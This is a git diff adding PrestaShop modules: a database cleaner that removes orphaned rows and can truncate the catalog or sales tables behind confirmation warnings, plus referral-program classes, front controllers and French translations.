        '; + return $html; + } + + public static function checkAndFix() + { + $db = Db::getInstance(); + $logs = array(); + + // Simple Cascade Delete + $queries = array( + // 0 => DELETE FROM __table__, 1 => WHERE __id__ NOT IN, 2 => NOT IN __table__, 3 => __id__ used in the "NOT IN" table, 4 => module_name + array('access', 'id_profile', 'profile', 'id_profile'), + array('access', 'id_tab', 'tab', 'id_tab'), + array('accessory', 'id_product_1', 'product', 'id_product'), + array('accessory', 'id_product_2', 'product', 'id_product'), + array('address_format', 'id_country', 'country', 'id_country'), + array('attribute', 'id_attribute_group', 'attribute_group', 'id_attribute_group'), + array('carrier_group', 'id_carrier', 'carrier', 'id_carrier'), + array('carrier_group', 'id_group', 'group', 'id_group'), + array('carrier_zone', 'id_carrier', 'carrier', 'id_carrier'), + array('carrier_zone', 'id_zone', 'zone', 'id_zone'), + array('cart_cart_rule', 'id_cart', 'cart', 'id_cart'), + array('cart_product', 'id_cart', 'cart', 'id_cart'), + array('cart_rule_carrier', 'id_cart_rule', 'cart_rule', 'id_cart_rule'), + array('cart_rule_carrier', 'id_carrier', 'carrier', 'id_carrier'), + array('cart_rule_combination', 'id_cart_rule_1', 'cart_rule', 'id_cart_rule'), + array('cart_rule_combination', 'id_cart_rule_2', 'cart_rule', 'id_cart_rule'), + array('cart_rule_country', 'id_cart_rule', 'cart_rule', 'id_cart_rule'), + array('cart_rule_country', 'id_country', 'country', 'id_country'), + array('cart_rule_group', 'id_cart_rule', 'cart_rule', 'id_cart_rule'), + array('cart_rule_group', 'id_group', 'group', 'id_group'), + array('cart_rule_product_rule_group', 'id_cart_rule', 'cart_rule', 'id_cart_rule'), + array('cart_rule_product_rule', 'id_product_rule_group', 'cart_rule_product_rule_group', 'id_product_rule_group'), + array('cart_rule_product_rule_value', 'id_product_rule', 'cart_rule_product_rule', 'id_product_rule'), + array('category_group', 'id_category', 'category', 'id_category'), + array('category_group', 'id_group', 'group', 'id_group'), + array('category_product', 'id_category', 'category', 'id_category'), + array('category_product', 'id_product', 'product', 'id_product'), + array('cms', 'id_cms_category', 'cms_category', 'id_cms_category'), + array('cms_block', 'id_cms_category', 'cms_category', 'id_cms_category'), + array('cms_block_page', 'id_cms', 'cms', 'id_cms'), + array('cms_block_page', 'id_cms_block', 'cms_block', 'id_cms_block'), + array('compare', 'id_customer', 'customer', 'id_customer'), + array('compare_product', 'id_compare', 'compare', 'id_compare'), + array('compare_product', 'id_product', 'product', 'id_product'), + array('connections', 'id_shop_group', 'shop_group', 'id_shop_group'), + array('connections', 'id_shop', 'shop', 'id_shop'), + array('connections_page', 'id_connections', 'connections', 'id_connections'), + array('connections_page', 'id_page', 'page', 'id_page'), + array('connections_source', 'id_connections', 'connections', 'id_connections'), + array('customer', 'id_shop_group', 'shop_group', 'id_shop_group'), + array('customer', 'id_shop', 'shop', 'id_shop'), + array('customer_group', 'id_group', 'group', 'id_group'), + array('customer_group', 'id_customer', 'customer', 'id_customer'), + array('customer_message', 'id_customer_thread', 'customer_thread', 'id_customer_thread'), + array('customer_thread', 'id_shop', 'shop', 'id_shop'), + array('customization', 'id_cart', 'cart', 'id_cart'), + array('customization_field', 'id_product', 'product', 'id_product'), + array('customized_data', 'id_customization', 'customization', 'id_customization'), + array('delivery', 'id_shop', 'shop', 'id_shop'), + array('delivery', 'id_shop_group', 'shop_group', 'id_shop_group'), + array('delivery', 'id_carrier', 'carrier', 'id_carrier'), + array('delivery', 'id_zone', 'zone', 'id_zone'), + array('editorial', 'id_shop', 'shop', 'id_shop', 'editorial'), + array('favorite_product', 'id_product', 'product', 'id_product'), + array('favorite_product', 'id_customer', 'customer', 'id_customer'), + array('favorite_product', 'id_shop', 'shop', 'id_shop'), + array('feature_product', 'id_feature', 'feature', 'id_feature'), + array('feature_product', 'id_product', 'product', 'id_product'), + array('feature_value', 'id_feature', 'feature', 'id_feature'), + array('group_reduction', 'id_group', 'group', 'id_group'), + array('group_reduction', 'id_category', 'category', 'id_category'), + array('homeslider', 'id_shop', 'shop', 'id_shop'), + array('homeslider', 'id_homeslider_slides', 'homeslider_slides', 'id_homeslider_slides'), + array('hook_module', 'id_hook', 'hook', 'id_hook'), + array('hook_module', 'id_module', 'module', 'id_module'), + array('hook_module_exceptions', 'id_hook', 'hook', 'id_hook'), + array('hook_module_exceptions', 'id_module', 'module', 'id_module'), + array('hook_module_exceptions', 'id_shop', 'shop', 'id_shop'), + array('image', 'id_product', 'product', 'id_product'), + array('message', 'id_cart', 'cart', 'id_cart'), + array('message_readed', 'id_message', 'message', 'id_message'), + array('message_readed', 'id_employee', 'employee', 'id_employee'), + array('module_access', 'id_profile', 'profile', 'id_profile'), + array('module_access', 'id_module', 'module', 'id_module'), + array('module_country', 'id_module', 'module', 'id_module'), + array('module_country', 'id_country', 'country', 'id_country'), + array('module_country', 'id_shop', 'shop', 'id_shop'), + array('module_currency', 'id_module', 'module', 'id_module'), + array('module_currency', 'id_currency', 'currency', 'id_currency'), + array('module_currency', 'id_shop', 'shop', 'id_shop'), + array('module_group', 'id_module', 'module', 'id_module'), + array('module_group', 'id_group', 'group', 'id_group'), + array('module_group', 'id_shop', 'shop', 'id_shop'), + array('module_preference', 'id_employee', 'employee', 'id_employee'), + array('orders', 'id_shop', 'shop', 'id_shop'), + array('orders', 'id_shop_group', 'group_shop', 'id_shop_group'), + array('order_carrier', 'id_order', 'orders', 'id_order'), + array('order_cart_rule', 'id_order', 'orders', 'id_order'), + array('order_detail', 'id_order', 'orders', 'id_order'), + array('order_detail_tax', 'id_order_detail', 'order_detail', 'id_order_detail'), + array('order_history', 'id_order', 'orders', 'id_order'), + array('order_invoice', 'id_order', 'orders', 'id_order'), + array('order_invoice_payment', 'id_order', 'orders', 'id_order'), + array('order_invoice_tax', 'id_order_invoice', 'order_invoice', 'id_order_invoice'), + array('order_return', 'id_order', 'orders', 'id_order'), + array('order_return_detail', 'id_order_return', 'order_return', 'id_order_return'), + array('order_slip', 'id_order', 'orders', 'id_order'), + array('order_slip_detail', 'id_order_slip', 'order_slip', 'id_order_slip'), + array('pack', 'id_product_pack', 'product', 'id_product'), + array('pack', 'id_product_item', 'product', 'id_product'), + array('page', 'id_page_type', 'page_type', 'id_page_type'), + array('page_viewed', 'id_shop', 'shop', 'id_shop'), + array('page_viewed', 'id_shop_group', 'shop_group', 'id_shop_group'), + array('page_viewed', 'id_date_range', 'date_range', 'id_date_range'), + array('product_attachment', 'id_attachment', 'attachment', 'id_attachment'), + array('product_attachment', 'id_product', 'product', 'id_product'), + array('product_attribute', 'id_product', 'product', 'id_product'), + array('product_attribute_combination', 'id_product_attribute', 'product_attribute', 'id_product_attribute'), + array('product_attribute_combination', 'id_attribute', 'attribute', 'id_attribute'), + array('product_attribute_image', 'id_image', 'image', 'id_image'), + array('product_attribute_image', 'id_product_attribute', 'product_attribute', 'id_product_attribute'), + array('product_carrier', 'id_product', 'product', 'id_product'), + array('product_carrier', 'id_shop', 'shop', 'id_shop'), + array('product_carrier', 'id_carrier_reference', 'carrier', 'id_reference'), + array('product_country_tax', 'id_product', 'product', 'id_product'), + array('product_country_tax', 'id_country', 'country', 'id_country'), + array('product_country_tax', 'id_tax', 'tax', 'id_tax'), + array('product_download', 'id_product', 'product', 'id_product'), + array('product_group_reduction_cache', 'id_product', 'product', 'id_product'), + array('product_group_reduction_cache', 'id_group', 'group', 'id_group'), + array('product_sale', 'id_product', 'product', 'id_product'), + array('product_supplier', 'id_product', 'product', 'id_product'), + array('product_supplier', 'id_supplier', 'supplier', 'id_supplier'), + array('product_tag', 'id_product', 'product', 'id_product'), + array('product_tag', 'id_tag', 'tag', 'id_tag'), + array('range_price', 'id_carrier', 'carrier', 'id_carrier'), + array('range_weight', 'id_carrier', 'carrier', 'id_carrier'), + array('referrer_cache', 'id_referrer', 'referrer', 'id_referrer'), + array('referrer_cache', 'id_connections_source', 'connections_source', 'id_connections_source'), + array('scene_category', 'id_scene', 'scene', 'id_scene'), + array('scene_category', 'id_category', 'category', 'id_category'), + array('scene_products', 'id_scene', 'scene', 'id_scene'), + array('scene_products', 'id_product', 'product', 'id_product'), + array('search_index', 'id_product', 'product', 'id_product'), + array('search_word', 'id_lang', 'lang', 'id_lang'), + array('search_word', 'id_shop', 'shop', 'id_shop'), + array('shop_url', 'id_shop', 'shop', 'id_shop'), + array('specific_price_priority', 'id_product', 'product', 'id_product'), + array('stock', 'id_warehouse', 'warehouse', 'id_warehouse'), + array('stock', 'id_product', 'product', 'id_product'), + array('stock_available', 'id_product', 'product', 'id_product'), + array('stock_available', 'id_shop', 'shop', 'id_shop'), + array('stock_available', 'id_shop_group', 'shop_group', 'id_shop_group'), + array('stock_mvt', 'id_stock', 'stock', 'id_stock'), + array('tab_module_preference', 'id_employee', 'employee', 'id_employee'), + array('tab_module_preference', 'id_tab', 'tab', 'id_tab'), + array('tax_rule', 'id_country', 'country', 'id_country'), + array('theme_specific', 'id_theme', 'theme', 'id_theme'), + array('theme_specific', 'id_shop', 'shop', 'id_shop'), + array('warehouse_carrier', 'id_warehouse', 'warehouse', 'id_warehouse'), + array('warehouse_carrier', 'id_carrier', 'carrier', 'id_carrier'), + array('warehouse_product_location', 'id_product', 'product', 'id_product'), + array('warehouse_product_location', 'id_warehouse', 'warehouse', 'id_warehouse'), + ); + + $queries = self::bulle($queries); + foreach ($queries as $query_array) + { + // If this is a module and the module is not installed, we continue + if (isset($query_array[4]) && !Module::isInstalled($query_array[4])) + continue; + + $query = 'DELETE FROM `'._DB_PREFIX_.$query_array[0].'` WHERE `'.$query_array[1].'` NOT IN (SELECT `'.$query_array[3].'` FROM `'._DB_PREFIX_.$query_array[2].'`)'; + $db->Execute($query); + if ($affected_rows = $db->Affected_Rows()) + $logs[$query] = $affected_rows; + } + + // _lang table cleaning + $tables = Db::getInstance()->executeS('SHOW TABLES LIKE "'._DB_PREFIX_.'%_\\_lang"'); + foreach ($tables as $table) + { + $table_lang = current($table); + $table = str_replace('_lang', '', $table_lang); + $id_table = 'id_'.preg_replace('/^'._DB_PREFIX_.'/', '', $table); + + $query = 'DELETE FROM `'.bqSQL($table_lang).'` WHERE `'.bqSQL($id_table).'` NOT IN (SELECT `'.bqSQL($id_table).'` FROM `'.bqSQL($table).'`)'; + $db->Execute($query); + if ($affected_rows = $db->Affected_Rows()) + $logs[$query] = $affected_rows; + + $query = 'DELETE FROM `'.bqSQL($table_lang).'` WHERE `id_lang` NOT IN (SELECT `id_lang` FROM `'._DB_PREFIX_.'lang`)'; + $db->Execute($query); + if ($affected_rows = $db->Affected_Rows()) + $logs[$query] = $affected_rows; + } + + // _shop table cleaning + $tables = Db::getInstance()->executeS('SHOW TABLES LIKE "'._DB_PREFIX_.'%_\\_shop"'); + foreach ($tables as $table) + { + $table_shop = current($table); + $table = str_replace('_shop', '', $table_shop); + $id_table = 'id_'.preg_replace('/^'._DB_PREFIX_.'/', '', $table); + + if (in_array($table_shop, array(_DB_PREFIX_.'carrier_tax_rules_group_shop'))) + continue; + + $query = 'DELETE FROM `'.bqSQL($table_shop).'` WHERE `'.bqSQL($id_table).'` NOT IN (SELECT `'.bqSQL($id_table).'` FROM `'.bqSQL($table).'`)'; + $db->Execute($query); + if ($affected_rows = $db->Affected_Rows()) + $logs[$query] = $affected_rows; + + $query = 'DELETE FROM `'.bqSQL($table_shop).'` WHERE `id_shop` NOT IN (SELECT `id_shop` FROM `'._DB_PREFIX_.'shop`)'; + $db->Execute($query); + if ($affected_rows = $db->Affected_Rows()) + $logs[$query] = $affected_rows; + } + + Category::regenerateEntireNtree(); + + // @Todo: Remove attachment files, images... + Image::clearTmpDir(); + + return $logs; + } + + public function truncate($case) + { + $db = Db::getInstance(); + + switch ($case) + { + case 'catalog': + $id_home = Configuration::get('PS_HOME_CATEGORY'); + $id_root = Configuration::get('PS_ROOT_CATEGORY'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'category` WHERE id_category NOT IN ('.(int)$id_home.', '.(int)$id_root.')'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'category_lang` WHERE id_category NOT IN ('.(int)$id_home.', '.(int)$id_root.')'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'category_shop` WHERE id_category NOT IN ('.(int)$id_home.', '.(int)$id_root.')'); + foreach (scandir(_PS_CAT_IMG_DIR_) as $dir) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $dir)) + unlink(_PS_CAT_IMG_DIR_.$dir); + $tables = array( + 'product', + 'product_shop', + 'feature_product', + 'product_lang', + 'category_product', + 'product_tag', + 'image', + 'image_lang', + 'image_shop', + 'specific_price', + 'specific_price_priority', + 'product_carrier', + 'cart_product', + 'compare_product', + 'product_attachment', + 'product_country_tax', + 'product_download', + 'product_group_reduction_cache', + 'product_sale', + 'product_supplier', + 'scene_products', + 'warehouse_product_location', + 'stock', + 'stock_available', + 'stock_mvt', + 'customization', + 'customization_field', + 'supply_order_detail', + 'attribute_impact', + 'product_attribute', + 'product_attribute_shop', + 'product_attribute_combination', + 'product_attribute_image', + 'attribute', + 'attribute_impact', + 'attribute_lang', + 'attribute_group', + 'attribute_group_lang', + 'attribute_group_shop', + 'attribute_shop', + 'product_attribute', + 'product_attribute_shop', + 'product_attribute_combination', + 'product_attribute_image', + 'stock_available', + 'manufacturer', + 'manufacturer_lang', + 'manufacturer_shop', + 'supplier', + 'supplier_lang', + 'supplier_shop', + 'customization', + 'customization_field', + 'customization_field_lang', + 'customized_data', + 'feature', + 'feature_lang', + 'feature_product', + 'feature_shop', + 'feature_value', + 'feature_value_lang', + 'pack', + 'scene', + 'scene_category', + 'scene_lang', + 'scene_products', + 'scene_shop', + 'search_index', + 'search_word', + 'specific_price', + 'specific_price_priority', + 'specific_price_rule', + 'specific_price_rule_condition', + 'specific_price_rule_condition_group', + 'stock', + 'stock_available', + 'stock_mvt', + ); + foreach ($tables as $table) + $db->execute('TRUNCATE TABLE `'._DB_PREFIX_.bqSQL($table).'`'); + $db->execute('DELETE FROM `'._DB_PREFIX_.'address` WHERE id_manufacturer > 0 OR id_supplier > 0 OR id_warehouse > 0'); + + Image::deleteAllImages(_PS_PROD_IMG_DIR_); + if (!file_exists(_PS_PROD_IMG_DIR_)) + mkdir(_PS_PROD_IMG_DIR_); + foreach (scandir(_PS_MANU_IMG_DIR_) as $dir) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $dir)) + unlink(_PS_MANU_IMG_DIR_.$dir); + foreach (scandir(_PS_SUPP_IMG_DIR_) as $dir) + if (preg_match('/^[0-9]+(\-(.*))?\.jpg$/', $dir)) + unlink(_PS_SUPP_IMG_DIR_.$dir); + break; + + case 'sales': + $tables = array( + 'customer', + 'cart', + 'cart_product', + 'connections', + 'connections_page', + 'connections_source', + 'customer_group', + 'customer_message', + 'customer_message_sync_imap', + 'customer_thread', + 'guest', + 'message', + 'message_readed', + 'orders', + 'order_carrier', + 'order_cart_rule', + 'order_detail', + 'order_detail_tax', + 'order_history', + 'order_invoice', + 'order_invoice_payment', + 'order_invoice_tax', + 'order_payment', + 'order_return', + 'order_return_detail', + 'order_return_state', + 'order_return_state_lang', + 'order_slip', + 'order_slip_detail', + 'page', + 'pagenotfound', + 'page_type', + 'page_viewed', + 'referrer_cache', + 'sekeyword', + ); + foreach ($tables as $table) + $db->execute('TRUNCATE TABLE `'._DB_PREFIX_.bqSQL($table).'`'); + $db->execute('DELETE FROM `'._DB_PREFIX_.'address` WHERE id_customer > 0'); + break; + } + } + + public static function cleanAndOptimize() + { + // Clean (carts...) + } + + protected static function bulle($array) + { + $sorted = false; + $size = count($array); + while (!$sorted) + { + $sorted = true; + for ($i = 0; $i < $size - 1; ++$i) + for ($j = $i + 1; $j < $size; ++$j) + { + if ($array[$i][2] == $array[$j][0]) + { + // var_dump(array($array[$i], $array[$j])); + $tmp = $array[$i]; + $array[$i] = $array[$j]; + $array[$j] = $tmp; + $sorted = false; + } + } + } + return $array; + } +} diff --git a/modules/pscleaner/translations/fr.php b/modules/pscleaner/translations/fr.php new file mode 100755 index 0000000..5224ce7 --- /dev/null +++ b/modules/pscleaner/translations/fr.php @@ -0,0 +1,24 @@ +pscleaner_e5a8af934462c05509c7de5f2f2c18a3'] = 'Nettoyage de PrestaShop'; +$_MODULE['<{pscleaner}prestashop>pscleaner_4bcb9cc248b7f6c8dc7f5c323bde76de'] = 'Vérifie et répare les problèmes d\'intégrité fonctionnelle et supprime les données par défaut (produits, commandes, clients)'; +$_MODULE['<{pscleaner}prestashop>pscleaner_752369f18aebeed9ae8384d8f1b5dc5e'] = 'Soyez très attentifs en utilisant cet outil, il n\'y a pas de retour en arrière possible !'; +$_MODULE['<{pscleaner}prestashop>pscleaner_098c3581a731f08d24311bbf515adbbb'] = 'Rien qui ne nécessite d\'être nettoyer'; +$_MODULE['<{pscleaner}prestashop>pscleaner_1bb7c5eb8682aeada82c407b40ec09c8'] = 'Catalogue supprimé'; +$_MODULE['<{pscleaner}prestashop>pscleaner_ed6ecb7169d5476ef5251524bb17552a'] = 'Commandes et clients supprimés'; +$_MODULE['<{pscleaner}prestashop>pscleaner_dd9941a63f2ab06ce2ce783336c6a811'] = 'Merci de cocher la case ci-dessus'; +$_MODULE['<{pscleaner}prestashop>pscleaner_6c69628e1d57fa6e39162b039a82133b'] = 'Souhaitez-vous supprimer le catalogue produit ?'; +$_MODULE['<{pscleaner}prestashop>pscleaner_6a68264705f23c8e3d505fd2c93a87ba'] = 'Souhaitez-vous supprimer commandes et clients ?'; +$_MODULE['<{pscleaner}prestashop>pscleaner_c32516babc5b6c47eb8ce1bfc223253c'] = 'Catalogue'; +$_MODULE['<{pscleaner}prestashop>pscleaner_eb75fcd36740a94a399e925f7da722d3'] = 'Je comprends que tout le catalogue sera supprimé sans possibilité de retour en arrière :'; +$_MODULE['<{pscleaner}prestashop>pscleaner_b7b592ffce03366a32dc8edd5fdf06cf'] = 'produits, caractéristiques, catégories, tags, images, prix, fichiers joints, scènes, stocks, groupes et valeurs d\'attributs, marques, fournisseurs...'; +$_MODULE['<{pscleaner}prestashop>pscleaner_b2d7c99e984831bd36221baf34e9c26e'] = 'Supprimer le catalogue'; +$_MODULE['<{pscleaner}prestashop>pscleaner_3300d0bf086fa38cf593fe4feff351f1'] = 'Commandes et clients'; +$_MODULE['<{pscleaner}prestashop>pscleaner_1bc469bb2c64bc19a27796374da3a2a8'] = 'Je comprends que tous les clients et commandes seront supprimés sans possibilité de retour en arrière :'; +$_MODULE['<{pscleaner}prestashop>pscleaner_a9c01b717760cf9e17bccd8c5eb647e0'] = 'clients, paniers, commandes, connexions, visiteurs, stats...'; +$_MODULE['<{pscleaner}prestashop>pscleaner_17ca7f22baf84821b6b73462c96fb1e3'] = 'Supprimer les commandes et clients'; +$_MODULE['<{pscleaner}prestashop>pscleaner_3535aa31bd9005bde626ad4312b67d6b'] = 'Contraintes d\'intégrité fonctionnelle'; +$_MODULE['<{pscleaner}prestashop>pscleaner_e84c6595e849214a70b35ed8f95d7d16'] = 'Vérifier et réparer'; diff --git a/modules/pscleaner/translations/index.php b/modules/pscleaner/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/pscleaner/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/referralprogram/ReferralProgramModule.php b/modules/referralprogram/ReferralProgramModule.php new file mode 100755 index 0000000..af7197d --- /dev/null +++ b/modules/referralprogram/ReferralProgramModule.php @@ -0,0 +1,190 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class ReferralProgramModule extends ObjectModel +{ + public $id_sponsor; + public $email; + public $lastname; + public $firstname; + public $id_customer; + public $id_cart_rule; + public $id_cart_rule_sponsor; + public $date_add; + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'referralprogram', + 'primary' => 'id_referralprogram', + 'fields' => array( + 'id_sponsor' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'email' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'required' => true, 'size' => 255), + 'lastname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 128), + 'firstname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 128), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_cart_rule' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_cart_rule_sponsor' =>array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + public static function getDiscountPrefix() + { + return 'SP'; + } + + public function registerDiscountForSponsor($id_currency) + { + if ((int)$this->id_cart_rule_sponsor > 0) + return false; + return $this->registerDiscount((int)$this->id_sponsor, 'sponsor', (int)$id_currency); + } + + public function registerDiscountForSponsored($id_currency) + { + if (!(int)$this->id_customer OR (int)$this->id_cart_rule > 0) + return false; + return $this->registerDiscount((int)$this->id_customer, 'sponsored', (int)$id_currency); + } + + public function registerDiscount($id_customer, $register = false, $id_currency = 0) + { + $configurations = Configuration::getMultiple(array('REFERRAL_DISCOUNT_TYPE', 'REFERRAL_PERCENTAGE', 'REFERRAL_DISCOUNT_VALUE_'.(int)$id_currency)); + + $cartRule = new CartRule(); + if ($configurations['REFERRAL_DISCOUNT_TYPE'] == Discount::PERCENT) + $cartRule->reduction_percent = (float)$configurations['REFERRAL_PERCENTAGE']; + elseif ($configurations['REFERRAL_DISCOUNT_TYPE'] == Discount::AMOUNT AND isset($configurations['REFERRAL_DISCOUNT_VALUE_'.(int)$id_currency])) + $cartRule->reduction_amount = (float)$configurations['REFERRAL_DISCOUNT_VALUE_'.(int)$id_currency]; + + $cartRule->quantity = 1; + $cartRule->quantity_per_user = 1; + $cartRule->date_from = date('Y-m-d H:i:s', time()); + $cartRule->date_to = date('Y-m-d H:i:s', time() + 31536000); // + 1 year + $cartRule->code = $this->getDiscountPrefix().Tools::passwdGen(6); + $cartRule->name = Configuration::getInt('REFERRAL_DISCOUNT_DESCRIPTION'); + $cartRule->id_customer = (int)$id_customer; + $cartRule->reduction_currency = (int)$id_currency; + + if ($cartRule->add()) + { + if ($register != false) + { + if ($register == 'sponsor') + $this->id_cart_rule_sponsor = (int)$cartRule->id; + elseif ($register == 'sponsored') + $this->id_cart_rule = (int)$cartRule->id; + return $this->save(); + } + return true; + } + return false; + } + + /** + * Return sponsored friends + * + * @return array Sponsor + */ + public static function getSponsorFriend($id_customer, $restriction = false) + { + if (!(int)($id_customer)) + return array(); + + $query = ' + SELECT s.* + FROM `'._DB_PREFIX_.'referralprogram` s + WHERE s.`id_sponsor` = '.(int)$id_customer; + if ($restriction) + { + if ($restriction == 'pending') + $query.= ' AND s.`id_customer` = 0'; + elseif ($restriction == 'subscribed') + $query.= ' AND s.`id_customer` != 0'; + } + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * Return if a customer is sponsorised + * + * @return boolean + */ + public static function isSponsorised($id_customer, $getId=false) + { + $result = Db::getInstance()->getRow(' + SELECT s.`id_referralprogram` + FROM `'._DB_PREFIX_.'referralprogram` s + WHERE s.`id_customer` = '.(int)$id_customer); + + if (isset($result['id_referralprogram']) AND $getId === true) + return (int)$result['id_referralprogram']; + + return isset($result['id_referralprogram']); + } + + public static function isSponsorFriend($id_sponsor, $id_friend) + { + if (!(int)($id_sponsor) OR !(int)($id_friend)) + return false; + + $result = Db::getInstance()->getRow(' + SELECT s.`id_referralprogram` + FROM `'._DB_PREFIX_.'referralprogram` s + WHERE s.`id_sponsor` = '.(int)($id_sponsor).' AND s.`id_referralprogram` = '.(int)($id_friend)); + + return isset($result['id_referralprogram']); + } + + /** + * Return if an email is already register + * + * @return boolean OR int idReferralProgram + */ + public static function isEmailExists($email, $getId = false, $checkCustomer = true) + { + if (empty($email) OR !Validate::isEmail($email)) + die (Tools::displayError('The email address is invalid.')); + + if ($checkCustomer === true AND Customer::customerExists($email)) + return false; + $result = Db::getInstance()->getRow(' + SELECT s.`id_referralprogram` + FROM `'._DB_PREFIX_.'referralprogram` s + WHERE s.`email` = \''.pSQL($email).'\''); + if ($getId) + return (int)$result['id_referralprogram']; + return isset($result['id_referralprogram']); + } +} diff --git a/modules/referralprogram/controllers/front/email.php b/modules/referralprogram/controllers/front/email.php new file mode 100755 index 0000000..0a9a3b4 --- /dev/null +++ b/modules/referralprogram/controllers/front/email.php @@ -0,0 +1,72 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class ReferralprogramEmailModuleFrontController extends ModuleFrontController +{ + public $content_only = true; + + public $display_header = false; + + public $display_footer = false; + + /** + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + $shop_name = htmlentities(Configuration::get('PS_SHOP_NAME'), NULL, 'utf-8'); + $shop_url = Tools::getHttpHost(true, true); + $customer = Context::getContext()->customer; + + if (!preg_match("#.*\.html$#Ui", Tools::getValue('mail')) OR !preg_match("#.*\.html$#Ui", Tools::getValue('mail'))) + die(Tools::redirect()); + + $file = file_get_contents(dirname(__FILE__).'/../../mails/'.strval(preg_replace('#\.{2,}#', '.', Tools::getValue('mail')))); + + $file = str_replace('{shop_name}', $shop_name, $file); + $file = str_replace('{shop_url}', $shop_url.__PS_BASE_URI__, $file); + $file = str_replace('{shop_logo}', $shop_url._PS_IMG_.'logo.jpg', $file); + $file = str_replace('{firstname}', $customer->firstname, $file); + $file = str_replace('{lastname}', $customer->lastname, $file); + $file = str_replace('{email}', $customer->email, $file); + $file = str_replace('{firstname_friend}', 'XXXXX', $file); + $file = str_replace('{lastname_friend}', 'xxxxxx', $file); + $file = str_replace('{link}', 'authentication.php?create_account=1', $file); + $discount_type = (int)(Configuration::get('REFERRAL_DISCOUNT_TYPE')); + if ($discount_type == 1) + $file = str_replace('{discount}', Discount::display((float)(Configuration::get('REFERRAL_PERCENTAGE')), $discount_type, new Currency($this->context->currency->id)), $file); + else + $file = str_replace('{discount}', Discount::display((float)(Configuration::get('REFERRAL_DISCOUNT_VALUE_' . $this->context->currency->id)), $discount_type, new Currency($this->context->currency->id)), $file); + + $this->context->smarty->assign(array('content' => $file)); + + $this->setTemplate('email.tpl'); + } +} \ No newline at end of file diff --git a/modules/referralprogram/controllers/front/index.php b/modules/referralprogram/controllers/front/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/referralprogram/controllers/front/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/referralprogram/controllers/front/program.php b/modules/referralprogram/controllers/front/program.php new file mode 100755 index 0000000..4f72049 --- /dev/null +++ b/modules/referralprogram/controllers/front/program.php @@ -0,0 +1,205 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +include_once(dirname(__FILE__).'../../../ReferralProgramModule.php'); +include_once(dirname(__FILE__).'../../../referralprogram.php'); + +class ReferralprogramProgramModuleFrontController extends ModuleFrontController +{ + + public function init() + { + if (!$this->context->customer->isLogged()) + Tools::redirect('index.php?controller=authentication&back=modules/referralprogram/referralprogram-program.php'); + parent::init(); + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryPlugin(array('thickbox', 'idTabs')); + } + + + /** + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + // get discount value (ready to display) + $discount_type = (int)(Configuration::get('REFERRAL_DISCOUNT_TYPE')); + if ($discount_type == 1) + $discount = Discount::display((float)(Configuration::get('REFERRAL_PERCENTAGE')), $discount_type, new Currency($this->context->currency->id)); + else + $discount = Discount::display((float)(Configuration::get('REFERRAL_DISCOUNT_VALUE_'.(int)($this->context->currency->id))), $discount_type, new Currency($this->context->currency->id)); + + $activeTab = 'sponsor'; + $error = false; + + // Mailing invitation to friend sponsor + $invitation_sent = false; + $nbInvitation = 0; + if (Tools::isSubmit('submitSponsorFriends') AND Tools::getValue('friendsEmail') AND sizeof($friendsEmail = Tools::getValue('friendsEmail')) >= 1) + { + $activeTab = 'sponsor'; + if (!Tools::getValue('conditionsValided')) + $error = 'conditions not valided'; + else + { + $friendsLastName = Tools::getValue('friendsLastName'); + $friendsFirstName = Tools::getValue('friendsFirstName'); + $mails_exists = array(); + foreach ($friendsEmail AS $key => $friendEmail) + { 